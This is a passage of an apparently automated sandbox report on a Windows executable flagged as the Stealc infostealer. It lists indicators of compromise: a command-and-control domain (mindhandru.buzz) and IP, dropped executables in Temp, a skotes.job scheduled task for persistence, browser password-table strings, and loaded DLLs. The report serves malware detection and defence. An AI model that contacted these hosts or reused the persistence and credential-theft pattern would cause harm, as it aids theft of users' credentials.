Source: oTZfvSwHTq.exe, 00000000.00000003.1506800871.00000000012F0000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1614026191.0000000001366000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1680638733.0000000001305000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1654817445.0000000001349000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1654730350.0000000001340000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1506917035.0000000001305000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1507010232.00000000012F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api
Source: oTZfvSwHTq.exe, 00000000.00000003.1680462765.00000000012F0000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1680638733.0000000001305000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api%
Source: oTZfvSwHTq.exe, 00000000.00000003.1613364961.0000000001366000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1614026191.0000000001366000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apiTU
Source: oTZfvSwHTq.exe, 00000000.00000003.1767773855.0000000001366000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/ily
Source: oTZfvSwHTq.exe, 00000000.00000003.1636458892.0000000001366000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/ms
Source: oTZfvSwHTq.exe, 00000000.00000003.1636458892.0000000001366000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/p$(
Source: oTZfvSwHTq.exe, 00000000.00000003.1680399884.0000000001366000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1654730350.0000000001366000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/pi
Source: oTZfvSwHTq.exe, 00000000.00000003.1506800871.00000000012D3000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1613408941.00000000012D3000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1636643992.00000000012D3000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1680462765.00000000012D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz:443/api
Source: oTZfvSwHTq.exe, 00000000.00000003.1506800871.00000000012D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz:443/apiCN
Source: oTZfvSwHTq.exe, 00000000.00000003.1680462765.00000000012D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz:443/apil
Source: oTZfvSwHTq.exe, 00000000.00000003.1575962763.0000000005F1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: oTZfvSwHTq.exe, 00000000.00000003.1575962763.0000000005F1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: oTZfvSwHTq.exe, 00000000.00000003.1609431223.0000000005C7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44
Source: oTZfvSwHTq.exe, 00000000.00000003.1507911959.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1507978442.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1508060254.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: oTZfvSwHTq.exe, 00000000.00000003.1507911959.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1507978442.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1508060254.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: oTZfvSwHTq.exe, 00000000.00000003.1576332953.0000000005C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: oTZfvSwHTq.exe, 00000000.00000003.1576250668.0000000005CFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: oTZfvSwHTq.exe, 00000000.00000003.1575962763.0000000005F1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: oTZfvSwHTq.exe, 00000000.00000003.1575962763.0000000005F1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: oTZfvSwHTq.exe, 00000000.00000003.1575962763.0000000005F1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: oTZfvSwHTq.exe, 00000000.00000003.1575962763.0000000005F1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713

Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.8:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.8:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.8:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.8:49714 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack, type: UNPACKEDPE

Matched rule: Finds Stealc standalone samples (or dumps) based on the strings Author: Sekoia.io

PE file contains section with special chars

Source: oTZfvSwHTq.exe	Static PE information: section name:
Source: oTZfvSwHTq.exe	Static PE information: section name: .idata
Source: oTZfvSwHTq.exe	Static PE information: section name:
Source: 9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.0.dr	Static PE information: section name:
Source: 9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.0.dr	Static PE information: section name: .idata
Source: 0Y9DS4ACOZHRKTJZLIK3.exe.0.dr	Static PE information: section name:
Source: 0Y9DS4ACOZHRKTJZLIK3.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.5.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 9_2_0095CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

9_2_0095CB97

Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Code function: 0_3_0134FF22	0_3_0134FF22
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Code function: 0_3_0134B672	0_3_0134B672
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Code function: 0_3_01355A3A	0_3_01355A3A
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Code function: 0_3_0134FF22	0_3_0134FF22
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Code function: 0_3_0130D238	0_3_0130D238
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Code function: 5_2_004C5C83	5_2_004C5C83
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Code function: 5_2_004C735A	5_2_004C735A
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Code function: 5_2_00508860	5_2_00508860
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Code function: 5_2_004C4DE0	5_2_004C4DE0
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Code function: 5_2_004C4B30	5_2_004C4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_009878BB	8_2_009878BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00987049	8_2_00987049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00988860	8_2_00988860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_009831A8	8_2_009831A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00944B30	8_2_00944B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00944DE0	8_2_00944DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00982D10	8_2_00982D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_0098779B	8_2_0098779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00977F36	8_2_00977F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 9_2_00966192	9_2_00966192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 9_2_0094E530	9_2_0094E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 9_2_00988860	9_2_00988860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 9_2_00944B30	9_2_00944B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 9_2_00944DE0	9_2_00944DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 9_2_00982D10	9_2_00982D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 9_2_00960E13	9_2_00960E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 9_2_00987049	9_2_00987049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 9_2_009831A8	9_2_009831A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 9_2_00961602	9_2_00961602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 9_2_0098779B	9_2_0098779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 9_2_009878BB	9_2_009878BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 9_2_00963DF1	9_2_00963DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 9_2_00977F36	9_2_00977F36

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0095D64E appears 67 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0095D663 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0095D942 appears 85 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0095DF80 appears 64 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00978E10 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 009580C0 appears 260 times
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Code function: String function: 004D80C0 appears 130 times

Source: oTZfvSwHTq.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack, type: UNPACKEDPE

Matched rule: infostealer_win_stealc_str_oct24 author = Sekoia.io, description = Finds Stealc standalone samples (or dumps) based on the strings, creation_date = 2024-10-20, classification = TLP:CLEAR, version = 1.0, id = 7448fafe-206c-4f9c-b5a3-cbabec12a45b

Source: oTZfvSwHTq.exe	Static PE information: Section: ZLIB complexity 0.9995915032679739
Source: oTZfvSwHTq.exe	Static PE information: Section: dtrvbrez ZLIB complexity 0.9946502897538508

Source: skotes.exe.5.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 0Y9DS4ACOZHRKTJZLIK3.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@8/4@1/4

Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\KUTZM6S5.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\oTZfvSwHTq.exe

File created: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\oTZfvSwHTq.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: oTZfvSwHTq.exe, 00000000.00000003.1508472255.0000000005C19000.00000004.00000800.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1551843763.0000000005C8F000.00000004.00000800.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1508909005.0000000005BFC000.00000004.00000800.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1551843763.0000000005BFD000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: oTZfvSwHTq.exe	Virustotal: Detection: 58%
Source: oTZfvSwHTq.exe	ReversingLabs: Detection: 60%

Source: 0Y9DS4ACOZHRKTJZLIK3.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\oTZfvSwHTq.exe

File read: C:\Users\user\Desktop\oTZfvSwHTq.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\oTZfvSwHTq.exe "C:\Users\user\Desktop\oTZfvSwHTq.exe"
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Process created: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe "C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe"
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Process created: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe "C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe"
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Process created: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe "C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe"	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Process created: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe "C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior

Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Section loaded: wtsapi32.dll	Jump to behavior
